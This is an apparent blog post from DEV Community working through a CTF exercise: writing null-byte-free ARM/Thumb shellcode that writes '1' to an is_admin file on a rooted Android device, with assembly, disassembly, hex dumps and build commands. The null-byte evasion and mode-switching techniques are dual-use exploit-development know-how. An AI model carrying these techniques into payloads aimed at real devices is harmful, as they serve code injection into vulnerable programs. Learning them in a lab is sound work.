DEV Community

wireless90
wireless90

Posted on • Edited on

Nullifying Shellcode [Android Internals CTF Ex5]

#cybersecurity #security #android

Get the executable here

  • Our task is to write a shellcode which writes '1' to /data/local/tmp/is_admin.
  • This time, it must not contain null bytes.
  • Run a.out with path as a parameter to your shellcode.
  • Do not reverse a.out

In the previous exercise, we had a working shellcode.

Firstly, lets try to feed that shellcode.bin into our new a.out.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ adb push a.out /data/local/tmp
a.out: 1 file pushed. 0.0 MB/s (44620 bytes in 1.975s)

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ adb shell                     
shell@hammerhead:/ $ su
root@hammerhead:/ # cd /data/local/tmp 
root@hammerhead:/data/local/tmp # chmod +x a.out
root@hammerhead:/data/local/tmp # ./a.out shellcode.bin
executing shellcode
[1] + Stopped (signal)     ./a.out shellcode.bin
Enter fullscreen mode Exit fullscreen mode

We get an error!

As the instruction suggests, our shellcode should not have any null bytes. Lets take a look at our current shellcode contents.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ xxd shellcode.bin
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef  0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3  ..-.....!.... ..
00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3  .p...........p..
00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e  ....../.is_admin
00000040: 0031 0000                                .1..
Enter fullscreen mode Exit fullscreen mode

We can see that there are lots of null bytes, 00. In c programming, null bytes terminate strings. I suspect a.out to be using some kind of string functions to read our shellcode which then terminates the moment it sees a null byte.

I have edited our commands.sh from the previous exercise, to include extracting out our shellcode.bin and pushing it to our android device.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ vim commands.sh
Enter fullscreen mode Exit fullscreen mode 
export ndk=/home/razali/Downloads/android-ndk-r21e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/arm-linux-androideabi/bin

$ndk/as shellcode.s -o shellcode.o
$ndk/ld shellcode.o -o shellcode
$ndk/objcopy -O binary --only-section=.text shellcode shellcode.bin

echo "==============OBJDUMP OUTPUT=========================="
$ndk/objdump -d shellcode.o

echo "==============XXD OUTPUT=========================="
xxd shellcode.bin

adb push ./shellcode.bin /data/local/tmp
Enter fullscreen mode Exit fullscreen mode

Lets run command.sh.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e28f0030        add     r0, pc, #48     ; 0x30
   4:   e3a01001        mov     r1, #1
   8:   e3a07008        mov     r7, #8
   c:   ef000000        svc     0x00000000
  10:   e52d0004        push    {r0}            ; (str r0, [sp, #-4]!)

00000014 <write>:
  14:   e1a00000        nop                     ; (mov r0, r0)
  18:   e28f1021        add     r1, pc, #33     ; 0x21
  1c:   e3a02001        mov     r2, #1
  20:   e3a07004        mov     r7, #4
  24:   ef000000        svc     0x00000000

00000028 <close>:
  28:   e49d0004        pop     {r0}            ; (ldr r0, [sp], #4)
  2c:   e3a07006        mov     r7, #6
  30:   ef000000        svc     0x00000000

00000034 <branch>:
  34:   e12fff1e        bx      lr

00000038 <filename>:
  38:   615f7369        .word   0x615f7369
  3c:   6e696d64        .word   0x6e696d64
        ...

00000041 <toWrite>:
  41:   0031            .short  0x0031
        ...
==============XXD OUTPUT==========================
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef  0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3  ..-.....!.... ..
00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3  .p...........p..
00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e  ....../.is_admin
00000040: 0031 0000                                .1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)
Enter fullscreen mode Exit fullscreen mode

We can see that all the svc #0 instructions produces a lot of null bytes, ef000000. Let's use svc #0xffffff instead to fill up the zeroes.

Now we get,

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh  
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e28f0030        add     r0, pc, #48     ; 0x30
   4:   e3a01001        mov     r1, #1
   8:   e3a07008        mov     r7, #8
   c:   efffffff        svc     0x00ffffff
  10:   e52d0004        push    {r0}            ; (str r0, [sp, #-4]!)

00000014 <write>:
  14:   e1a00000        nop                     ; (mov r0, r0)
  18:   e28f1021        add     r1, pc, #33     ; 0x21
  1c:   e3a02001        mov     r2, #1
  20:   e3a07004        mov     r7, #4
  24:   efffffff        svc     0x00ffffff

00000028 <close>:
  28:   e49d0004        pop     {r0}            ; (ldr r0, [sp], #4)
  2c:   e3a07006        mov     r7, #6
  30:   efffffff        svc     0x00ffffff

00000034 <branch>:
  34:   e12fff1e        bx      lr

00000038 <filename>:
  38:   615f7369        .word   0x615f7369
  3c:   6e696d64        .word   0x6e696d64
        ...

00000041 <toWrite>:
  41:   0031            .short  0x0031
        ...
==============XXD OUTPUT==========================
00000000: 3000 8fe2 0110 a0e3 0870 a0e3 ffff ffef  0........p......
00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3  ..-.....!.... ..
00000020: 0470 a0e3 ffff ffef 0400 9de4 0670 a0e3  .p...........p..
00000030: ffff ffef 1eff 2fe1 6973 5f61 646d 696e  ....../.is_admin
00000040: 0031 0000                                .1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s)
Enter fullscreen mode Exit fullscreen mode

If we take a look at our filename,

file_name: .asciz "is_admin"
Enter fullscreen mode Exit fullscreen mode

it produces the null byte at offset 0x41 as seen below.

00000038 <filename>:
  38:   615f7369        .word   0x615f7369
  3c:   6e696d64        .word   0x6e696d64
        ...

00000041 <toWrite>:
  41:   0031            .short  0x0031
Enter fullscreen mode Exit fullscreen mode

This is because, .asciz is a null terminated string thus file_name: .asciz "is_admin" produces "is_admin\0", which is null terminated.

We will need to put a dummy character, and replace it with a null byte at run time.

We can easily get a #0 by exor-ing 2 values as such.

eor r2, r2
Enter fullscreen mode Exit fullscreen mode

Now r2 contains #0.

Then we can define our file name to be
file_name: .ascii "is_adminX".

Note the use of .ascii instead of .asciz. Now our string has no null bytes, but we have a big X that we need to replace. We can do that with the strb instruction.

So the code would look like.

eor r2, r2 //R2 now is #0
adr r3, file_name
strb r2, [r3, #8] //Replace the 9th character with a null
file_name: .ascii "is_adminX"
Enter fullscreen mode Exit fullscreen mode

Our overall code now looks like

.section .text
.global _start

_start:

create:
        eor r2, r2 //R2 inow is #0
        adr r0, filename
        strb r2, [r0, #8]
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #0xffffff

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

write:
        mov r0, r0 //r0 already contains the file descriptor
        adr r1, toWrite //buffer
        mov r2, #1 //write only 1 byte
        mov r7, #0x04 //syscall for write
        svc #0xffffff

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #0xffffff


branch:
        //end of this function, lets branch back
        bx lr


filename:
        .ascii "is_adminX"

toWrite:
        .ascii "1"
Enter fullscreen mode Exit fullscreen mode

Lets take a look at the objdump now.

==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e0222002        eor     r2, r2, r2
   4:   e28f0034        add     r0, pc, #52     ; 0x34
   8:   e5c02008        strb    r2, [r0, #8]
   c:   e3a01001        mov     r1, #1
  10:   e3a07008        mov     r7, #8
  14:   efffffff        svc     0x00ffffff
  18:   e52d0004        push    {r0}            ; (str r0, [sp, #-4]!)

0000001c <write>:
  1c:   e1a00000        nop                     ; (mov r0, r0)
  20:   e28f1021        add     r1, pc, #33     ; 0x21
  24:   e3a02001        mov     r2, #1
  28:   e3a07004        mov     r7, #4
  2c:   efffffff        svc     0x00ffffff

00000030 <close>:
  30:   e49d0004        pop     {r0}            ; (ldr r0, [sp], #4)
  34:   e3a07006        mov     r7, #6
  38:   efffffff        svc     0x00ffffff

0000003c <branch>:
  3c:   e12fff1e        bx      lr

00000040 <filename>:
  40:   615f7369        .word   0x615f7369
  44:   6e696d64        .word   0x6e696d64
  48:   58              .byte   0x58

00000049 <toWrite>:
  49:   31              .byte   0x31
        ...
==============XXD OUTPUT==========================
00000000: 0220 22e0 3400 8fe2 0820 c0e5 0110 a0e3  . ".4.... ......
00000010: 0870 a0e3 ffff ffef 0400 2de5 0000 a0e1  .p........-.....
00000020: 2110 8fe2 0120 a0e3 0470 a0e3 ffff ffef  !.... ...p......
00000030: 0400 9de4 0670 a0e3 ffff ffef 1eff 2fe1  .....p......../.
00000040: 6973 5f61 646d 696e 5831 0000            is_adminX1..
./shellcode.bin: 1 file pushed. 0.0 MB/s (76 bytes in 0.287s)
Enter fullscreen mode Exit fullscreen mode

Our, add, push, and pop commands still have null bytes. To make shellcoding easier, its better to use the thumb mode. arm instructions are 4 bytes and thumb instructions are 2 to 4 bytes long, therefore reducing the chance of us having a null byte.

To switch to the thumb instruction, we simply need to add #1 to our program counter and branch to it. Also do note that svc #0xffffff is not supported in thumb. Simply do svc #1 and you would not see the null byte in the thumb instruction set anymore.

The final code would look something like...


.section .text
.global _start

_start:
        eor r2, r2 //R2 inow is #0

thumbMode:
        add r1, pc, #1
        bx r1
create:

.code 16
        adr r0, filename
        strb r2, [r0, #8]
        mov r1, #1 //WRITE ONLY
        mov r7, #0x8 //CREAT SYS CALL
        svc #1

        //The file descriptor(fd) is returned into the r0 variable.
        //Store the file descriptor to the stack.
        //This way, we can reuse r0 for other functions and when the fd is needed,
        //we simply pop from the stack
        push {r0}

write:
        //mov r0, r0 ------- r0 already contains the file descriptor
        adr r1, toWrite //buffer
        mov r2, #1 //write only 1 byte
        mov r7, #0x04 //syscall for write
        svc #1

close:
        pop {r0} //pop the file descriptor back
        mov r7, #0x06 //syscall for close
        svc #1


branch:
        //end of this function, lets branch back
        bx lr

.align 2
filename:
        .ascii "is_adminX"

.align 2
toWrite:
        .ascii "1"
Enter fullscreen mode Exit fullscreen mode

Lets compile it and view the bin.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e0222002        eor     r2, r2, r2

00000004 <thumbMode>:
   4:   e28f1001        add     r1, pc, #1
   8:   e12fff11        bx      r1

0000000c <create>:
   c:   a006            add     r0, pc, #24     ; (adr r0, 28 <filename>)
   e:   7202            strb    r2, [r0, #8]
  10:   2101            movs    r1, #1
  12:   2708            movs    r7, #8
  14:   df01            svc     1
  16:   b401            push    {r0}

00000018 <write>:
  18:   a106            add     r1, pc, #24     ; (adr r1, 34 <toWrite>)
  1a:   2201            movs    r2, #1
  1c:   2704            movs    r7, #4
  1e:   df01            svc     1

00000020 <close>:
  20:   bc01            pop     {r0}
  22:   2706            movs    r7, #6
  24:   df01            svc     1

00000026 <branch>:
  26:   4770            bx      lr

00000028 <filename>:
  28:   615f7369        .word   0x615f7369
  2c:   6e696d64        .word   0x6e696d64
  30:   58              .byte   0x58
  31:   00              .byte   0x00
  32:   46c0            nop                     ; (mov r8, r8)

00000034 <toWrite>:
  34:   31              .byte   0x31
  35:   00              .byte   0x00
  36:   46c0            nop                     ; (mov r8, r8)
==============XXD OUTPUT==========================
00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272  . "......./....r
00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df  .!.'.......".'..
00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e  ...'..pGis_admin
00000030: 5800 c046 3100 c046                      X..F1..F
./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.303s)
Enter fullscreen mode Exit fullscreen mode

Great we are so close. Look at offset 0x31 now, due to alignment padding with our .align 2, the compiler has added an extra null byte. Lets simply remove this with adding our own extra character.

Change

.align 2
filename:
        .ascii "is_adminX"
Enter fullscreen mode Exit fullscreen mode

to

.align 2
filename:
        .ascii "is_adminXX"  //Added extra X
Enter fullscreen mode Exit fullscreen mode

Now lets take a look at our output again.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode]
└─$ ./commands.sh  
==============OBJDUMP OUTPUT==========================

shellcode.o:     file format elf32-littlearm


Disassembly of section .text:

00000000 <_start>:
   0:   e0222002        eor     r2, r2, r2

00000004 <thumbMode>:
   4:   e28f1001        add     r1, pc, #1
   8:   e12fff11        bx      r1

0000000c <create>:
   c:   a006            add     r0, pc, #24     ; (adr r0, 28 <filename>)
   e:   7202            strb    r2, [r0, #8]
  10:   2101            movs    r1, #1
  12:   2708            movs    r7, #8
  14:   df01            svc     1
  16:   b401            push    {r0}

00000018 <write>:
  18:   a106            add     r1, pc, #24     ; (adr r1, 34 <toWrite>)
  1a:   2201            movs    r2, #1
  1c:   2704            movs    r7, #4
  1e:   df01            svc     1

00000020 <close>:
  20:   bc01            pop     {r0}
  22:   2706            movs    r7, #6
  24:   df01            svc     1

00000026 <branch>:
  26:   4770            bx      lr

00000028 <filename>:
  28:   615f7369        .word   0x615f7369
  2c:   6e696d64        .word   0x6e696d64
  30:   5858            .short  0x5858
  32:   46c0            nop                     ; (mov r8, r8)

00000034 <toWrite>:
  34:   31              .byte   0x31
  35:   00              .byte   0x00
  36:   46c0            nop                     ; (mov r8, r8)
==============XXD OUTPUT==========================
00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272  . "......./....r
00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df  .!.'.......".'..
00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e  ...'..pGis_admin
00000030: 5858 c046 3100 c046                      XX.F1..F
./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.304s)
Enter fullscreen mode Exit fullscreen mode

Great no more null bytes(ignore the end null bytes).

Lets head back to our android device and run our shellcode.bin.

root@hammerhead:/data/local/tmp # ./a.out shellcode.bin                        
executing shellcode
You did it!
The flag is: "nununu"
Enter fullscreen mode Exit fullscreen mode

Top comments (0)

Read next

1noshishi profile image

Inline Classes in Kotlin: Why, Where, and How to Use Them

Valerii Popov -

trixsec profile image

Part 4: SQL Injection Series: Real-World Scenarios Deep Dive

Trix Cyrus -

mcsee profile image

Code Smell 282 - Bad Defaults

Maxi Contieri -

karenpayneoregon profile image

NET 9 BinaryFormatter migration paths

Karen Payne -